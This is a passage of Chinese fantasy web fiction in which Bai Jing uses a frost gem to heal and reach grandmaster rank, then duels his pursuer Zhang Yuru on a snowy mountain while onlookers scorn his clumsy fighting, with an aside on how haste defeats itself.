被张玉汝追了整整一天一夜,他早已是强弩之末,频繁撕裂空间带来的反噬让旧伤叠新伤,脏腑像是被无数根针在扎,若不是靠着一股狠劲撑着,怕是早瘫倒在雪地里了。 掌心的玄霜云珀透着刺骨的寒凉,那股能量如同极北之地的冰川融水,顺着血脉往四肢百骸钻去。 所过之处,断裂的筋骨像是被寒冰包裹,先是传来一阵冻彻骨髓的冷意,随后才泛起酥麻的痒感,灼烧般的痛感正被这股寒凉一点点压制、抚平。 连断裂的肋骨处,都像是敷上了一层厚厚的寒冰,原本剧烈的疼痛渐渐变得缓和。 白镜不敢耽搁,借着空间传送的余势遁入更深的冰川裂隙,找了处背风的冰洞便盘膝坐下。 他指尖紧扣玄霜云珀,全力引导那股精纯而寒凉的能量修复伤势。 冰洞本就寒冷,此刻被玄霜云珀的能量一激,周围的空气似乎都要凝结成冰,白镜呼出的气息瞬间化作白雾,在他面前缭绕不散。 他必须争分夺秒。 不仅要让残破的身躯在这股寒凉能量的滋养下恢复如初,更要借着这股力量冲击宗师级的壁垒 —— 唯有踏入那个境界,他才有底气面对张玉汝的追杀。 否则一旦被那尊煞神再次盯上,别说逃脱,能否保住性命都未可知。 冰洞外风雪呼啸,冰壁上凝结的霜花在玄霜云珀散出的寒凉光晕映照下,愈发晶莹剔透,在他脸上投下明明灭灭的光影。 白镜闭着眼,感受着体内被寒凉能量重新充盈的力量,唇角忍不住勾起一抹急促的笑意,全然顾不上此刻的得手究竟有几分侥幸 —— 活下去,变强,然后报仇,这才是眼下最要紧的事。 玄霜云珀在白镜掌心散发着幽幽的寒气,那股寒凉并非刺骨的凛冽,而是带着一种温和的穿透力,顺着他的经脉游走时,竟像是无数细小的冰丝在修补断裂的脉络。 他盘膝坐在冰洞深处,看着胸口那道被张玉汝拳劲震出的血洞以肉眼可见的速度愈合——先是血痂被寒气冻结成青黑色的薄壳,随后薄壳下透出淡青色的微光,新肉在冰雾中悄然滋生,连带着骨骼愈合时的酸胀感都被那股寒凉压得服服帖帖。 “呼……”白镜缓缓吐出一口白雾,气息在玄霜云珀的寒气中凝成细碎的冰晶。 他摊开手掌,原本布满裂纹的碎空镜此刻正浮在掌心,镜面的裂痕间流淌着青白色的光,显然是玄霜云珀的能量在修复这件宝物。 这意外之喜让他眼底闪过一丝狂热——不仅能修复伤势,连宝物都能温养,这玄霜云珀的价值远超他的预料。 他不再满足于简单的疗伤,开始主动引导那股寒凉能量冲击体内的桎梏。 宗师级的门槛如同一层无形的冰壁,横亘在他的气海与丹田之间,过去数年无论如何冲击都纹丝不动。 可此刻,玄霜云珀的能量像是一柄淬了冰的凿子,每一次冲撞都让那层冰壁泛起细密的裂痕,冰屑般的能量碎片簌簌落下,在他体内化作更精纯的能量。 冰洞中的温度随着他的修炼愈发降低,洞壁上的冰棱以肉眼可见的速度疯长,尖端指向白镜,仿佛在朝拜这股强大的寒凉之力。 他周身渐渐萦绕起一层淡青色的冰雾,发梢与睫毛凝结着细碎的冰晶,整个人如同冰雕般静坐,唯有胸口起伏的幅度越来越大,气海翻涌的声音在寂静的冰洞里格外清晰。 不知过了多久,当玄霜云珀的光芒黯淡了近三成时,白镜猛地睁开眼。 两道青白色的光束从他眼底射出,撞在对面的冰壁上,瞬间炸开一片冰花。他缓缓起身,活动了一下筋骨,骨骼摩擦时发出清脆的声响,带着一种冰裂般的独特韵律——宗师级的壁垒,破了。 白镜握紧拳头,掌心的玄霜云珀还残留着最后一丝寒气。 “现在,到清算的时候了。” 他转身走向冰洞外,碎空镜已恢复大半威能,在他掌心旋转出淡淡的空间涟漪。 刚走出洞口,却见远处雪坡上站着一道熟悉的身影,正背着双手,似笑非笑地望着他。 张玉汝的声音穿过风雪传来,带着几分玩味:“怎么不继续跑了。” 白镜心头一紧,随即冷笑出声。 他抬手一挥,碎空镜瞬间扩大成一道空间裂隙,同时周身寒气暴涨,冰棱与霜刃在他身后凝聚成形:“蠢货!我不找你,你反倒来找死了!来得正好,省得我去找你!” 话音未落,他已带着漫天冰雾冲向张玉汝,而张玉汝也缓缓握紧了拳头,拳头上萦绕的不再是刚猛的力道,而是一层淡淡的、仿佛能颠倒万物的光晕。 风雪更狂了,将两道身影彻底吞没,只留下冰洞前那枚失去光泽的玄霜云珀残片,在积雪中静静躺着,像是在见证这场迟来的对决。 “刹那。” 低沉的喝声在风雪中炸响,张玉汝拳锋汇聚的力量在刹那间凝为实质,空气被压缩得发出不堪重负的嗡鸣。 十成力道毫无保留地砸向白镜的头顶,拳风未至,脚下的冰层已被震出蛛网般的裂纹,雪粒在拳劲的裹挟下化作尖锐的冰棱,朝着白镜周身飞射而去。 面对这石破天惊的一拳,白镜竟未有丝毫躲闪。 他只是缓缓抬眼,周身萦绕的青白色寒气骤然凝聚,在头顶形成一层半寸厚的冰晶护罩,护罩表面流淌着玄霜云珀残留的能量纹路,泛着冷硬的光泽。他就那样静静地站着,目光落在张玉汝拳头上,仿佛在看一件无关紧要的物件。 换做从前,这一拳足以让白镜的头颅像碎裂的琉璃般炸开,脑浆混着碎骨溅满雪地。 可此刻,拳头与冰晶护罩碰撞的瞬间,并未传来预想中的骨骼碎裂声,反倒是一声沉闷的巨响,如同重锤砸在万年玄铁之上。 张玉汝只觉一股蛮横的反震力顺着拳锋涌来,指骨在刹那间传来钻心的疼痛,甚至能清晰听见指节“咔嚓”作响的细微裂痕。 他眉头微蹙,拳头上有「枯木逢春」的力量在瞬间流转,那些刚出现的裂纹便以肉眼可见的速度愈合,连带着反震的麻木感都消退了大半。 “宗师?”张玉汝收回拳头,指尖轻轻摩挲着拳面,语气带着一丝疑问,眼底却已没了半分惊讶。 白镜周身那股凝实的气场,那层能硬抗他十成力道的冰晶护罩,无一不在昭示着对方的境界——宗师级,确凿无疑。 白镜缓缓挺直脊背,冰晶护罩在他身后化作一道冰翼,寒气随着他的呼吸在周身流转,带起细碎的冰雾:“一会儿,你想怎么死?” 他的声音裹着冰碴般的寒意,目光死死锁着张玉汝,试图从那张平静的脸上找到一丝波澜——惊恐、慌张、或是一丝悔意,任何一点情绪波动,都能让他积压的怨气得到些许宣泄。 可张玉汝只是静静地看着他,眼神平静得像一潭深不见底的寒水。白镜突破宗师的震撼,刚才那拳未建功的意外,似乎都未能在他脸上留下半分痕迹。 他甚至还微微偏了偏头,仿佛在打量一件寻常事物,那副波澜不惊的模样,比任何嘲讽都更让白镜心头火起。 “看来,你还没认清现在的局势。”白镜冰翼一振,周遭的积雪骤然升空,在他身侧凝结成数十柄冰矛,矛头泛着青白色的寒光,“过去是你追着我打,现在……该换我了。” 张玉汝终于动了动,他抬手掸了掸肩头的落雪,动作从容不迫:“那你就来试试看吧。”话音未落,他周身开始泛起淡淡的墨色光晕,那是「颠倒」之力初显的征兆,连周围飘落的雪花都开始违背重力,朝着天空倒飞而去。 冰矛破空的锐啸撕裂了凝滞的空气。白镜冰翼一振,数十柄冰矛便如离弦之箭般射向张玉汝,矛尖凝结的玄霜寒气尚未触体,已在雪地上犁出一道道深青色的痕迹。 与此同时,他身前突然浮现出数十面银镜,镜面反射着雪山的寒光,竟将冰矛的轨迹折射得变幻莫测 —— 有的冰矛看似射向胸口,实则在镜面偏转下直取脚踝;有的明明朝着头颅而来,却在最后一刻折转方向,化作冰链缠向手腕。 张玉汝瞳孔微缩,造化之眼瞬间捕捉到所有冰矛的真实轨迹。他足尖点地,身形如柳絮般在冰矛缝隙中穿梭,可白镜的身影却在镜面间不断闪烁 —— 前一秒还在三丈外凝聚冰锥,下一秒已借着空间裂隙出现在张玉汝身后,掌风裹着彻骨寒意拍向他的后心。 “砰!” 张玉汝仓促间回身格挡,手臂与对方手掌碰撞的刹那,只觉一股寒气顺着经脉疯涌而上,半边身子瞬间僵麻。他借着反震之力后掠数丈,看着手臂上迅速蔓延的青黑色冰晶,眉头紧锁 —— 白镜的体魄竟已强悍至此,这一掌的力道比先前何止强了数倍,若非枯木逢春及时运转,怕是整条手臂都要被冻废。 “在我的主场,你逃得掉吗?” 白镜的声音从四面八方传来,雪山之巅的冰层突然炸裂,无数冰棱从地面刺出,在张玉汝脚下织成一张死亡之网。他操控着那些嵌在冰层里的碎镜,镜面转动间,不仅能反射张玉汝的动向,更能射出冰棱与寒光,将这片天地彻底化作他的狩猎场。 张玉汝连续三次被冰棱擦过肩头,血珠刚渗出便被寒气冻结在衣料上。他试图用颠倒之力扭曲对方的攻击轨迹,可白镜总能借着空间转移避开反噬,甚至能将寒冰能量注入空间裂隙,让张玉汝的拳头屡屡落在空处,反倒被裂隙边缘的寒气冻伤。 “咔嚓!” 又一面银镜出现在张玉汝头顶,镜面射出的冰锥擦着他的脸颊飞过,带起的寒气让他睫毛瞬间凝霜。他借着这瞬间的空隙,将颠倒之力集中在脚下,硬生生让刺向心口的冰棱转向刺入地面,可刚稳住身形,白镜已出现在他身侧,手肘带着千钧之力撞向他的肋骨。 张玉汝闷哼一声,肋骨传来清晰的断裂声,剧痛让他眼前发黑。但枯木逢春的绿光旋即亮起,断裂处传来酥麻的痒意,伤势以肉眼可见的速度愈合。他抓住这转瞬即逝的机会,造化之眼锁定白镜空间转移的轨迹,猛地将颠倒之力注入对方脚下的冰层 —— 白镜刚要撕开空间裂隙,却发现周围的空间竟在逆向旋转,裂隙不仅没能张开,反而将他自己的脚踝吸住。张玉汝趁机欺近,拳头带着刚猛的力道砸向他的侧脸,可白镜反应极快,周身冰层瞬间增厚,拳头落在上面只震得他后退两步,嘴角溢出的血丝刚涌出便被冻成冰珠。 “就这点能耐?” 白镜擦掉嘴角的冰珠,冰翼再次展开,这一次,冰翼上竟凝结出无数细小的镜片,每片镜面都映出张玉汝的身影。 话音未落,所有镜片同时射出冰线,将张玉汝的身形牢牢锁定。 雪山之巅的寒风突然转向,裹挟着冰粒撞向他的护体光晕,白镜则借着空间之力在镜面间瞬移,每一次出现都伴随着冰锥与掌风,逼得张玉汝只能连连后退,身上的伤口刚愈合便又添新伤,渐渐被压制在一片狭小的冰脊之上。 张玉汝看着对方越来越盛的寒气,感受着体内因频繁使用能力而躁动的能量,眼神却愈发沉静。 他知道,自己必须找到白镜能力的破绽,否则再这样耗下去,就算枯木逢春能修复伤势,也迟早会被对方拖垮。 而白镜显然也看出了这一点,攻势愈发凌厉,冰翼扇动间,连天空的落雪都化作了锋利的冰刃,朝着张玉汝倾泻而下。 第 96章 好弱的宗师 当白镜晋升为宗师级能力者之后,他便彻底没了遮掩自身能量波动的念头。 在整个凉风之山的范围里,他已然是当之无愧的最强者,这份实力足以让他无需再对任何人有所顾忌。 而张玉汝在与这位公认的“最强者”展开激战之时,自然也没有多余的心力去掩盖战斗留下的痕迹。 每一次能量的碰撞、每一次招式的交锋,都毫无保留地向四周扩散开来。 因此,两人这场激烈战斗所引发的能量波动,很快就清晰地传入了其余所有人的感知之中。 那股波动的强度远超寻常,显然不是大师级能力者之间的战斗能够造成的。 即便如此,每一个感知到波动的人,还是纷纷朝着波动传来的方向赶了过来。 至于他们为何会做出这样的选择?或许是心中那股不服气的劲头在作祟。 他们并非不能接受失败——哪怕是战败之后被人夺走最后的宝物,哪怕是清楚地意识到自己技不如人,这些结果他们都有勇气去承受。 可是,白镜这般近乎于捡漏的行为,实在是触及了众人的底线,让他们无论如何都无法接受。 说白了,若是堂堂正正地战败,那便会输得心甘情愿、心服口服,只会觉得对方确实技高一筹,打心底里认栽服气。 可白镜呢?这家伙先前被张玉汝追得像条丧家之犬,狼狈不堪,如今这般光景,他真的配得上眼下的局面吗? 任谁瞧见他之前那副模样,怕是都会生出“换做是我,铁定比这废物强”的念头,只觉得他能有此刻的境遇,实在算不得什么真本事。 而当这些人循着能量波动赶到白镜与张玉汝的战场,亲眼目睹两人之间那激烈到极致的战斗场面时,心中那股不服气的情绪,已然积攒到了顶点,几乎要冲破胸膛。 战场之上,漫天风雪纷纷扬扬地飘洒着,却丝毫无法掩盖两人身上散发出的璀璨光芒。 白镜周身,银白色与冰蓝色的能量如同活物般交织缠绕,丝丝缕缕的光华在他周身流转不息,仅是远远看上一眼,便有一股刺骨的寒意顺着毛孔直沁心脾,仿佛连血液都要被冻结。 这正是他原本的能力与玄霜云珀所赋予的寒冰之力完美融合后的景象。 玄霜云珀之所以如此珍贵,之所以能引得众多大师级能力者趋之若鹜、不惜为此争斗不休,除了能直接提升持有者的实力之外更重要的是它还拥有一项特殊的功效。 它能为能力者带来掌握寒冰类能力的契机,让原本与冰系力量无缘之人也能踏入这一领域。 要知道,世间每一种类型的能力都有着其固有的限制,彼此之间更存在着复杂的克制关系,稍有不慎便可能陷入被动。 而一种全新类型的能力,却能极大地丰富能力者的对敌手段,让其在应对不同对手时拥有更多选择,进而使综合实力得到跨越式的提升。 更何况,凉风之山本就是寒冰能量汇聚之地,天地间的冰属性能量极为浓郁,在这里施展寒冰类能力,无疑能得到极大的增幅,威力远胜其他地方。 而战场的另一端,张玉汝的身上则萦绕着纯粹至极的黑白二色能量,它们在他周身流转交汇,彼此缠绕融合,却又始终保持着各自的特质,形成一种奇妙而平衡的态势。 与白镜依赖外物才获得新能力不同,张玉汝体内的这两种能量,实质上本就是同一种能量的阴阳两面。 这份独特的力量,并非来自任何天材地宝的馈赠,而是他凭借着自身不屈的决心,在绝境中向死而生,历经无数磨砺才最终收获的成果。 说起来,这一切的源头其实都系在白镜身上。 正是当初白镜废掉了张玉汝原本的能力,才迫使张玉汝不得不另寻出路,拼尽一切去为自己觉醒新的能力,最终才走出了这样一条截然不同的强者之路。 那些匆匆赶到战场的人们,虽然无法透过两人周身那层耀眼的光晕看清他们的面容,但单从这两股截然不同的能量性质上,便足以轻易分辨出交战双方的身份。 “白镜这小子,真是走了天大的狗屎运!”望着两人刚才那次碰撞的结果,雨萱咬着牙恨恨地说道,语气里满是不甘与愤懑。 就在刚才那一次硬碰硬的交锋中,白镜已然进一步扩大了自己的优势,将战局的主动权牢牢握在手中。 事实上,从这场战斗打响的那一刻起,张玉汝就始终处在被动的下风。 若非他本就是以速度见长的能力者,加之拥有远超常人的强悍体魄,恐怕早已在白镜连绵不绝的攻势下支撑不住了。 晋级宗师所带来的提升是全面且显著的。 晋升之后,原本在综合素质上全方位落后于张玉汝的白镜,不仅成功实现了反超,如今的实力更是稳稳压制住了对手。 更令人难以接受的是,此刻白镜对张玉汝形成的优势,远比当初张玉汝压制白镜时的优势要大得多。 而这翻天覆地的变化,仅仅是因为白镜得到了那块玄霜云珀。 这样的结果,叫雨萱如何能甘心? 身为水流类能力者的雨萱,或许是在场所有人当中,与玄霜云珀属性最为契合的一个。 若是当初得到玄霜云珀的人是她,说不定此刻站在那里晋升宗师、耀武扬威的,就该是她自己了。 不光是雨萱,其他赶到战场的人心里也满是不服气,尤其是在亲眼目睹了白镜的表现之后。 诚然,白镜眼下确实压制着张玉汝,稳稳确立了自身的优势。 可他如今已是堂堂宗师级能力者,以宗师之尊压制一名大师级能力者,这难道是什么值得夸耀的事情吗? 倒不如说,身为宗师却连对付一个大师都这般费劲,迟迟无法彻底拿下,简直是在暴殄天物,浪费了宗师级的实力。 “真是个废物!堂堂宗师级能力者,对付一个大师级居然迟迟拿不下来,依我看,这等宝贝落到他手里,简直就跟猪八戒吃人参果似的,纯属暴殄天物!” 雷鸣望着战场中胶着的局势,面色阴沉得几乎能滴出水来,语气里满是不加掩饰的鄙夷。 “我瞧着,这废物怕是有资格去竞争史上最弱宗师级能力者的名头了。”冯难一边小心翼翼地扶着身旁万年的身体,一边冷笑着开口,话语里的讥讽毫不掩饰。 丁璎珞和林逸虽然自始至终没有开口表态,但他们望向战场中白镜的眼神里,那一闪而过的轻蔑与不屑,早已将心中的想法表露无遗。 宗师级能力者,代表着一个全新的境界。 虽说能力者被划分为七级,但其中的初、中、高三个等级,向来被视作同一阶段——那是踏入能力者领域的入门时期,也是打牢根基的阶段。 唯有当能力者真正踏上属于自己的道途,成功晋升为大师级能力者后,才算得上是真正意义上的强者。 而在大师级之上,便是令人仰望的宗师级能力者。 一名宗师级能力者,已然具备了开宗立派的底蕴与实力。 他既可以凭借这份力量,成为一个小型势力的开创者,也足以在任何大型势力中稳居高层,拥有举足轻重的地位。 若说大师级能力者的数量相对较多,很多时候甚至难以精确统计,那么除了那些刻意隐匿行踪、不为人知的存在,每一位宗师级能力者,无一不是声名远播、天下闻名的人物。 可就是这样一位本应开宗立派、威震一方的宗师,此刻却在与大师级能力者的对战中打出这般拖沓难看的表现,实在是让人难以接受。 当然,白镜倒也不是找不出些辩解的理由。 比如,他才刚刚突破至宗师境界,眼下虽有了宗师级的根基,却尚未真正领悟宗师该有的道途精髓。 这情形,约莫就像是数值与等级骤然提了上来,可实际的战斗手法与临场操作,却还停留在先前的水准。 这些说法其实也并非全无道理——刚刚晋升宗师的能力者,在没能静下心来沉淀自身、梳理所学之前,在战斗手段的运用上,的确会显得生涩粗糙一些,与真正成熟的宗师存在差距。 可这些理由,连白镜自己都无法用来欺骗自己。 在久久没能拿下张玉汝之后,白镜的心态已然悄然出现了裂痕。 先前成功突破时的那份狂喜早已烟消云散,此刻充斥在他内心的,只剩下翻涌不休的恼怒与焦躁。 虽说他向来道德底线极低,行事毫无顾忌,可在这件事上,却无论如何也骗不过自己的内心。 那些围观者口中“史上最弱宗师”的议论,纵然没能清晰传入他耳中,他也能从周围那些若有似无的目光与能量波动里,感受到那份毫不掩饰的鄙夷。 他比谁都清楚,自己眼下的表现有多难看。 或许,白镜自始至终都没能真正摆脱凉风之山对人情绪的影响。 此刻的他,心头的急躁如野草般疯长,出手也变得愈发凶狠凌厉,频率更是越来越快,每一招都带着一股迫切想要速胜的戾气,势要在最短时间内彻底拿下张玉汝。 白镜这般疯狂的举动并非全然没有成效。 两人之间的实力差距本就客观存在,当白镜陡然加大攻势力度时,张玉汝顿时被逼到了必须拼命支撑的境地。 可白镜越是急躁,出手便越发失了章法。 他确实在张玉汝身上留下了不少伤口,刀刃划过的血痕、能量冲击的冻伤遍布其躯体,可这些伤势终究没能伤及要害,始终无法给予张玉汝致命一击。 实际上,只要白镜能稳住心神,保持住眼下的攻势,张玉汝大概率还是会力竭落败。 但他已经等不及了——周围那些围观者的目光,像无数把锋利的刀刃,密密麻麻地扎在他身上,让他浑身不自在,连呼吸都觉得凝滞。 此刻的他心里只有一个念头:尽快干掉张玉汝,然后转身杀光在场所有的人。 唯有如此,才能彻底堵住悠悠众口,让今日这场狼狈的打斗、这份难堪的丑态,永远不会传到外界去。 第 97章 风云突变 常言道:欲速则不达。 在做一件事情的时候,越是急于求成,越是容易一无所获。 急不等于快,做事急未必做事就快。 对于一件事情没有摸清底细,没有章法,不管三七二十一直接开干,这就叫做急,这种心态为何难以成事呢?因为做事没有方法,没有方法便会遇到问题,遇到问题又会继续着急。 如此循环往复,就会构建出来一个无法打破的恶性循环。 生活里常有这样的场景:有人为了赶工,拿着工具便埋头猛干,结果尺寸错了、步骤乱了,拆了重做时,反倒比按部就班耗费更多时间。 有人为了速成某项技能,跳过基础直接啃高阶内容,看似进度飞快,实则根基虚浮,遇到稍有难度的关卡便卡壳,回头补课时才发现,当初省下的功夫,终究要加倍偿还。 这便是“急”的陷阱——它披着“高效”的外衣,却藏着“无序”的内核。 那么什么是快呢?真正的“快”,从来都与“急”背道而驰。 做事之前先做好准备,梳理好脉络,知道自己接下来要做什么,可能遇到什么问题,遇到问题要怎么处理。 一个人当然不可能做到尽善尽美,把所有的关键都提前想清楚,可是在心里有一定预期的情况下,在遇到问题的时候便能够更快的处理。 就像工匠雕琢玉器,必先静坐观察玉石的纹理,规划好每一刀的走向,预判可能出现的裂纹,看似在案前消磨了半日光阴,实则一旦开工,落刀精准、力道均匀,反倒比仓促下刀的人更快呈现成品。 这种“快”,是建立在充分准备之上的从容:知道起点在哪里,终点在何方,更清楚沿途可能遇到的岔路与障碍。 就像行军打仗,高明的将领绝不会让士兵饿着肚子就冲锋,必然要先勘察地形、备足粮草、制定几套应急预案。 那些看似“耽误”的准备时间,实则是为了真正行动时的势如破竹。 反观那些只图“快”而忽略准备的人,就像蒙眼狂奔的旅人,即便脚下生风,也可能在某个转角撞得头破血流,到头来不仅没省下时间,反而要为弥补失误付出更大代价。 “急”的本质,是对结果的过度渴求,以至于忽略了过程的规律;而“快”的本质,是对规律的尊重,通过周密的准备减少冗余的消耗。 前者像断线的风筝,看似飞得急切,实则漫无目的;后者像精准的钟表,每一步转动都有章法,最终在累积中实现高效。 所以,与其在“急”的旋涡里打转,不如沉下心来做足准备。 那些花在观察、规划、沉淀上的时间,终会在行动时化作“一步快,步步快”的底气,让每一份努力都朝着目标精准发力,既不会因盲目而偏离方向,也不会因慌乱而浪费力气。 白镜未必没有听过“欲速则不达”的道理,或许在某个闲适的午后,他曾端着茶盏,听白磬摇头晃脑地讲过类似的典故。 可道理听得多了,就像书架上蒙尘的典籍,不翻开来细细品读,不落到实处去咂摸滋味,终究只是些轻飘飘的文字,并无太大的实际意义。 这就像那些被学子们背得滚瓜烂熟的课本知识,公式定理能一字不差地复述,例题解析能倒背如流,可真到了考场面对变式题型时,却依旧抓耳挠腮——看过、学过、记过,都不代表真正懂了。 唯有在一次次解题、纠错、实践中,将那些文字转化为指尖的思路,将抽象的逻辑变成具体的应对,才算摸到了门径。 白镜此刻的状态,便是如此。 玄霜云珀的能量还未完全炼化,宗师境的根基尚在摇晃,可他被复仇的烈焰烧得昏了头,被压制许久的戾气冲垮了理智。 明明该借着玄霜云珀的寒凉稳固境界,明明该琢磨张玉汝“颠倒”能力的破绽,却偏偏急着要在雪山之巅了结恩怨,仿佛晚一刻动手,就会错失这来之不易的优势。 他越是急着下死手,招式便越发凌厉却失了章法。冰矛齐射时忘了留后手防御,空间转移的时机愈发仓促,好几次险些撞进张玉汝故意露出的破绽。 有一次,他借着镜面折射发动突袭,本想以寒冰冻住对方四肢,却因急于求成,没能察觉张玉汝已暗中调动“颠倒”之力——冰棱刚触及张玉汝的衣袖,便突然转向,反倒刺穿了白镜自己的左肩。 “啧,宗师级的能耐,就这点水准?”张玉汝的声音带着几分淡漠,枯木逢春的力量在他掌心流转,修复着刚才硬接一击留下的伤势。 他看得真切,白镜的攻击虽猛,却少了之前的诡谲与算计,那些寒冰造物的轨迹越来越明显,空间转移的波动也越来越大,显然是被急躁冲乱了节奏。 白镜捂着流血的肩头,寒气虽能冻结伤口,却止不住心头的烦躁。 他明明占据主场优势,明明实力已在对方之上,为何就是无法拿下张玉汝? 这念头让他更急于速战速决,冰翼猛地张开到极致,竟想一次性引爆玄霜云珀的残余能量。 可就在他凝聚能量的瞬间,张玉汝眼中闪过一丝精光。 造化之眼早已捕捉到白镜体内紊乱的能量流,他没有硬接,而是借着“颠倒”之力扭转了周身的空间——白镜引爆的寒冰能量骤然反噬,在他自己周身炸开一片冰雾,冻得他气血翻涌,动作迟滞了半分。 就是这半分迟滞,让张玉汝抓住了机会。他欺近身前,拳头不再追求刚猛,而是以一种诡异的角度划过,精准地落在白镜胸口那处因能量反噬而防御薄弱的地方。“咔嚓”一声闷响,白镜如遭重击,倒飞出去撞在冰崖上,喉头涌上的鲜血染红了胸前的月白锦袍。 白镜晋升宗师后,招式的威力确实如烈火烹油般暴涨,冰矛能轻易洞穿护体能量,空间裂隙撕裂的范围也比从前扩大了数倍,可那些招式里藏着的精妙转折、虚实变化,却仍停留在原地,没能跟着境界一同精进。 若以道、法、术三重来论,他在“道”的层面依旧是片荒漠——对自身能力的本质、对空间与寒冰的理解,并未因境界提升而加深半分,依旧是停留在“用”的层面,未能触及“悟”的内核。 “法”的层面倒是多了些亮色,玄霜云珀的寒凉能量为他添了一套操控寒冰的法门,可这套法门更像是借来的利刃,他能挥舞得虎虎生风,却未能将其与自身的能力真正融合,用起来总带着几分生涩。 至于“术”,便只剩威力的堆砌了,冰棱更锋利,空间转移更频繁,可招式的衔接、时机的把控,反倒不如从前精准。 这情形,像极了韩信点兵的典故反例。 从前的白镜,能将一万兵马调度得井井有条,进可攻退可守,每一处破绽都藏得恰到好处;如今麾下骤增到三万兵马,他却还是那套指挥一万兵马的本事,既不懂如何分兵包抄,也不知如何交替掩护,只能一股脑地将所有力量往前推。 三万兵马的冲击力自然比一万强,可阵型的混乱、指令的滞后,却让这支庞大的队伍处处透着破绽。 对付寻常对手时,这般“力大砖飞”的打法确实够用——冰矛齐发的威势、空间转移的突袭,足以让大多数能力者疲于奔命,根本无暇寻找破绽。 可他遇上的是张玉汝,一个能在乱军之中精准揪出指挥中枢的猎手。 张玉汝的造化之眼早已看穿了白镜的窘迫。 他能清晰地看到,白镜在同时操控十面银镜时,左手凝聚冰锥的速度会慢上半息;能察觉到他连续三次空间转移后,空间波动会出现刹那的紊乱;甚至能预判到,当白镜急于发动大招时,自身的能量流转会出现一丝滞涩。 这些细微的破绽,在三万兵马的洪流中本不起眼,却被张玉汝视作撕开防线的缺口。 就像刚才那记冰翼横扫,白镜本想以势压人,用漫天冰雾遮蔽张玉汝的视线,可就在冰翼展开到极致的瞬间,他调动寒冰能量的节奏出现了一丝偏差——这便是指挥三万兵马时顾此失彼的疏漏。 张玉汝抓住这刹那的空隙,不退反进,借着对方冰翼带起的劲风,身形如箭般穿过冰雾,指尖的“颠倒”之力精准地落在白镜操控空间的枢纽处。 “噗——”空间裂隙突然反噬,白镜闷哼一声,嘴角溢出的血珠在半空中被冻成冰晶。 他明明有宗师级的力量,却在这瞬间露出了如同初学乍练般的狼狈,就像一个握着千斤巨斧的壮汉,却被对手借着斧刃的惯性,反将自己绊倒在地。 白镜望着张玉汝那依旧平静的脸,心头的急躁又翻涌上来。他明明握着更强的力量,却偏偏被对方牵着鼻子走,这种有力使不出的憋屈,比当初被追得狼狈逃窜更让他恼火。 可他没意识到,自己此刻的状态,早已成了“欲速则不达”的鲜活注脚——力量的增长若没有相应的掌控力支撑,终究只是空有其表的虚张声势。 终于,白镜彻底绷不住了。被张玉汝一次次化解攻势的挫败感,加上玄霜云珀能量在体内冲撞的烦躁,像两把火在他胸腔里越烧越旺,原本就岌岌可危的心理防线轰然崩塌。 他面目狰狞地嘶吼,每一根发丝都因狂暴的能量而倒竖,眼底的理智被猩红的杀意吞噬 —— 他已经无法再忍耐,哪怕同归于尽,也要让张玉汝葬身在这雪山之巅。 “给我死来!” 怒吼声震得冰层嗡嗡作响,白镜身上爆发出的气机如同陡然拔起的冰峰,厚重得让空气都停止了流动。 远处雪坡上,刚赶来看热闹的雷鸣、雨萱等人被这股能量余波掀得连连后退,林逸甚至不得不祭出护体罡气才稳住身形,四人望着那道身影,脸上都写满了惊愕 —— 这等威势,着实可怖。 在张玉汝的视野里,白镜身前的空间剧烈扭曲,两道银白色的能量洪流如同活过来的毒蛇,吐着分叉的信子盘旋上升,而一朵冰蓝色的雪莲正从蛇吻间缓缓绽放,花瓣上凝结的寒气尚未完全展开,周围的雪花便已静止在半空,化作细小的冰晶。 “去!” 白镜猛地挥下手臂,那姿态像是在驱使最凶狠的猛兽。 刹那间,两条银蛇骤然加速,尾尖扫过的地方裂开无数道空间裂隙,蛇身相撞时迸溅的能量火花,竟在雪地上烧出青黑色的痕迹。 它们相互缠绕着冲上高空,冰蓝色的雪莲则稳稳地落在蛇吻交汇之处,花瓣层层舒展,露出中心那点深不见底的寒芒 —— 这是白镜突破宗师后的最强杀招,他将自身本源、碎空镜的空间之力与玄霜云珀的寒冰能量强行糅合,哪怕事后会遭到三重能量的反噬,他也在所不惜。 银蛇的眼中突然射出两道光柱,所过之处,雪山的冰面、空中的雪花、甚至远处观战者的衣角,都瞬间化作层层叠叠的镜面。 这些镜面以惊人的速度增殖,很快便覆盖了方圆百丈,镜面反射的光芒又将更多区域纳入其中,形成一个密不透风的能量囚笼。 被光芒覆盖的区域里,空间像是被冻住的湖水,连风都停止了流动。张玉汝试图抬脚闪避,却发现自己像是陷在了凝固的蜜糖里,每动一下都要耗费数倍力气,周身的空间被彻底锁死,无形的枷锁从四面八方挤压过来,连骨骼都在发出不堪重负的呻吟。 他眼睁睁看着那朵冰蓝雪莲带着银蛇的虚影撞向自己,三股能量交织的光芒瞬间吞噬了他的身影。 没人相信有人能在这样的攻击下存活,那可是空间撕裂与绝对冰封的双重绞杀,哪怕是坚硬的万年玄冰,也要被碾成齑粉。 冰蓝色的光芒如同潮水般漫过张玉汝的身躯,彻骨的寒意无视了他的护体能量,顺着毛孔往骨头缝里钻。 不过眨眼的功夫,他的四肢百骸便被冻得僵硬,皮肤表面凝结出厚厚的冰晶,连眼球都像是被冻住的琉璃,失去了往日的神采。 那两条银蛇还在围绕着他的身躯盘旋,每一次缠绕都伴随着空间的震颤,似乎要将他的肉身与灵魂一同撕裂、冻结、粉碎。 白镜喘着粗气站在原地,看着被冰封的张玉汝,脸上露出扭曲的狂喜。他能感觉到自己体内的能量正在疯狂溃散,经脉像是被无数根冰针穿刺,但此刻这些都不重要了 —— 张玉汝就要死了,那个追得他上天无路入地无门的张玉汝,终于死在了他的最强杀招之下。 若没有意外,张玉汝或许真要殒命于这冰封与撕裂交织的杀招之下。冰蓝色的光芒里,他的睫毛凝着厚厚的冰晶,连呼吸都化作了冰雾,仿佛下一刻就要彻底化作冰雕。 然而,就在这千钧一发之际,强行融合三股力量的白镜突然发出一声闷哼。 他胸口剧烈起伏,喉头涌上一股腥甜,殷红的鲜血毫无征兆地从嘴角喷涌而出,溅落在身前的雪地上,瞬间被寒气冻成了一朵朵诡异的血花。 三股本就难以相融的力量在他体内剧烈冲撞,碎空镜的空间之力如同锋利的玻璃碴,割得他经脉生疼;玄霜云珀的寒冰能量又在疯狂冻结他的气血;而他自身的本源能量更是乱作一团,如同失控的野马。 这突如其来的反噬,让他那招最强杀招出现了刹那的松动 —— 锁死空间的镜面出现了一丝微不可察的裂痕,冰蓝色雪莲的寒气也减弱了半分。 